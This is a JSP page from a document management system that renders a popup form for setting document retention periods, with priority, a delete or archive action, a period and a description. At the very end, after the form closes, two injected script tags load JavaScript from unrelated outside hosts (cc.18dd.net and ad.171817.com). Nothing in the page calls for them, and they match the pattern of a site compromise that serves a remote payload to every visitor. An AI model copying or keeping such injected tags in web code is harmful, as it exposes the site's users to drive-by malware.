<%
/*
 * @(#)DmsRetentionSetup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsRetentionSetup.jsp

  This class is used to retrieve the document content from http

  @author          anson mo
  @company         DCIVision Limited
  @creation date   27/11/2005
  @version         $Revision: 1.7.2.10 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintRetentionPeriodSetupForm" scope="request" class="com.dcivision.dms.web.MaintRetentionPeriodSetupForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<%
	String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
%>
<html:form type="maintRetentionPeriodSetupForm" action="dms/MaintRetentionSetup">

<script language="JavaScript">
<!--
//joan.xiong add code for bug EIP-1375 by 2006/01/20
<%if(Utility.isEmpty(maintRetentionPeriodSetupForm.getProfile())){%>
window.onload=function(){
	for (var i = 0; i < document.forms.length; i++) {
		if (document.forms[i].name != "") {
			frm = document.forms[i];
			break;
		}
	}
	frm.periodDay.value=window.opener.document.maintSysUserDefinedIndexForm.periodDay.value;
	frm.periodMonth.value=window.opener.document.maintSysUserDefinedIndexForm.periodMonth.value;
	frm.periodYear.value=window.opener.document.maintSysUserDefinedIndexForm.periodYear.value;
    frm.priority.value=window.opener.document.maintSysUserDefinedIndexForm.priority.value;
    frm.description.value=window.opener.document.maintSysUserDefinedIndexForm.retentionDescription.value;
    frm.actionName.value=window.opener.document.maintSysUserDefinedIndexForm.actionName.value;
	if(frm.periodDay.value==null || frm.periodDay.value=="null")frm.periodDay.value="";
	if(frm.periodMonth.value==null || frm.periodMonth.value=="null")frm.periodMonth.value="";
	if(frm.periodYear.value==null || frm.periodYear.value=="null")frm.periodYear.value="";
	if(frm.description.value==null || frm.description.value=="null")frm.description.value="";

	var obj = document.getElementsByName("priority");
	if(frm.priority.value ==null || frm.priority.value=="null" || typeof(frm.priority.value) =="undefined"){
		obj[1].checked=true;
	}else{
		for(i=0;i<obj.length;i++){
			if(frm.priority.value == obj[i].value)obj[i].checked=true;
		}
	}
	obj = document.getElementsByName("actionName");
	if(frm.actionName.value ==null || frm.actionName.value=="null"|| typeof(frm.actionName.value) =="undefined"){
		obj[0].checked=true;
	}else{
		for(i=0;i<obj.length;i++){
			if(frm.actionName.value == obj[i].value)obj[i].checked=true;
		}
	}
}
<%}%>
//joan.xiong add code end
function OpSelfSave(opMode) { 
  var year=document.maintRetentionPeriodSetupForm.periodYear.value;
  var month=document.maintRetentionPeriodSetupForm.periodMonth.value;
  var day=document.maintRetentionPeriodSetupForm.periodDay.value;

  if (year=="" && month=="" && day==""){
    alert("<bean:message key='error.dms.period'/>");
    return false;
  }
  var myReg = /^[0-9]*[1-9][0-9]*$/; 
  if (!myReg.test(year) && year!=""){
    alert("<bean:message key='error.integer.year'/>");
    return false;
  }
  if (!myReg.test(month) && month!=""){
    alert("<bean:message key='error.iteger.month'/>");
    return false;
  }
  if (!myReg.test(day) && day!=""){
    alert("<bean:message key='error.integer.day'/>");
    return false;
  }
  //joan.xiong update code for bug EIP-1375 by 2007/01/04
	//document.maintRetentionPeriodSetupForm.opMode.value=opMode;
	//document.maintRetentionPeriodSetupForm.submit();
  <%if(Utility.isEmpty(maintRetentionPeriodSetupForm.getProfile())){%>
	  var priority;
	  var actionName;
	  var description = document.maintRetentionPeriodSetupForm.description.value;
	  var obj = document.getElementsByName("priority");
	  for(i=0;i<obj.length;i++){
		  if(obj[i].checked){
			  priority = obj[i].value;
		  }
	  }
	  obj = document.getElementsByName("actionName");
	  for(i=0;i<obj.length;i++){
		  if(obj[i].checked){
			  actionName = obj[i].value;
		  }
	  }
	  window.opener.getRetentionValue(year,month,day,priority,description,actionName);
	  window.self.close();
  <%}else{%>
	document.maintRetentionPeriodSetupForm.opMode.value=opMode;
	document.maintRetentionPeriodSetupForm.submit();
  <%}%>//joan.xiong update code end

  return false;
}

function closeWindow(){
  var parent = window.opener;
  window.self.close();
//  parent.refreshPage(rootID,parentID);
}
-->
</script>
<html:hidden property="opMode"/>


<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Common Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
</script>

<title>Retention Period Setup</title>
</head>

<body>
<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<center>
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>

<table>
<!-- Section Header -->
  <layout:sectionHeader name='dms.label.retention_period_setup'/>
  <html:hidden property="objectID" value='<%=maintRetentionPeriodSetupForm.getObjectID()%>'/>
  <html:hidden property="objectType" value='P'/>
  <html:hidden property="ID" value="<%=maintRetentionPeriodSetupForm.getID()%>"/>
  <html:hidden property="recordStatus"/>
  <html:hidden property="updateCount"/>
  <html:hidden property="updaterID"/>
  <html:hidden property="updateDate"/>
  <html:hidden property="navMode"/>
<tr>
  <td class="formLabelSmall" width="25%"><bean:message key='dms.columnheader.profile_name'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <%=maintRetentionPeriodSetupForm.getProfile()%>
    </td>
</tr>

<tr>
  <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
  <td class="formFieldSmall" width="75%">
    <%
    String priority = maintRetentionPeriodSetupForm.getPriority();
	
    if (GlobalConstant.NAV_MODE_NEW.equals(maintRetentionPeriodSetupForm.getNavMode())){%>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' checked><bean:message key='common.priority.label_2'/>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/>
    <%} else {%>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>' <%if (GlobalConstant.PRIORITY_HIGH.equals(priority)){%>checked<%}%>><bean:message key='common.priority.label_3'/>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' <%if (GlobalConstant.PRIORITY_MEDIUM.equals(priority)){%>checked<%}%>><bean:message key='common.priority.label_2'/>
      <input type='radio' name='priority' value='<%=GlobalConstant.PRIORITY_LOW%>' <%if (GlobalConstant.PRIORITY_LOW.equals(priority)){%>checked<%}%>><bean:message key='common.priority.label_1'/>
    <%}%>
  </td>
</tr>

<tr>
  <td class="formLabelSmall" width="25%"><bean:message key='dms.label.action_name'/>:&nbsp;</td>
  <td class="formFieldSmall" width="75%">
    <%
      String actionName = maintRetentionPeriodSetupForm.getActionName();
      if (GlobalConstant.NAV_MODE_NEW.equals(maintRetentionPeriodSetupForm.getNavMode())){
    %>
      <bean:message key='dms.label.delete'/><input type="radio" name="actionName" value="D" checked> &nbsp;&nbsp;
      <bean:message key='dms.label.archive_type_archive'/><input type="radio" name="actionName" value="A"></td>
    <%} else {%>
      <bean:message key='dms.label.delete'/><input type="radio" name="actionName" value="D" <%if ("D".equals(actionName)){%>checked<%}%>> &nbsp;&nbsp;
      <bean:message key='dms.label.archive_type_archive'/><input type="radio" name="actionName" value="A" <%if ("A".equals(actionName)){%>checked<%}%>></td>
    <%}%>
</tr>

<tr>
  <td class="formLabelSmallMan" width="25%"><bean:message key='common.label.period'/>:&nbsp;</td>
  <td class="formFieldSmall" width="75%">
	<bean:message key='calendar.label.repeat_by_year'/>:<html:text property="periodYear" size='4' maxlength='4'/>&nbsp;&nbsp;
	<bean:message key='calendar.label.repeat_by_month'/>:<html:text property="periodMonth" size='4' maxlength='4'/>&nbsp;&nbsp;
	<bean:message key='calendar.label.repeat_by_day'/>:<html:text property="periodDay" size='4' maxlength='4'/>
  </td>
</tr>

<tr>
  <td class="formLabelSmall" width="25%" valign="top"><bean:message key='dms.label.description'/>:&nbsp;</td>
  <td class="formFieldSmall" width="75%"><html:textarea property='description' cols='40' rows='5' textlimit='255'/></td>
</tr>

<tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
    </tr>

<tr>
  <td colspan='2' align="center"> 
    <%
    String opMode = GlobalConstant.OP_MODE_INSERT;
    if (GlobalConstant.NAV_MODE_EDIT.equals(maintRetentionPeriodSetupForm.getNavMode())){
    opMode = GlobalConstant.OP_MODE_UPDATE;
  }
  %>
  	<% String actionString ="+return OpSelfSave('"+opMode+"');";//special use in websphere5 %>
    <html:standardButton label="common.label.save" onClick="<%=actionString%>"/>
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(maintRetentionPeriodSetupForm.getNavMode())){%>
      <html:standardButton label="common.label.delete" onClick="return OpDelete(maintRetentionPeriodSetupForm)"/> 
    <%}%>
    <html:standardButton label="common.label.close" onClick="return closeWindow();"/>
  </td>
</tr>
</table>

</center>
</body>
</html>

</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>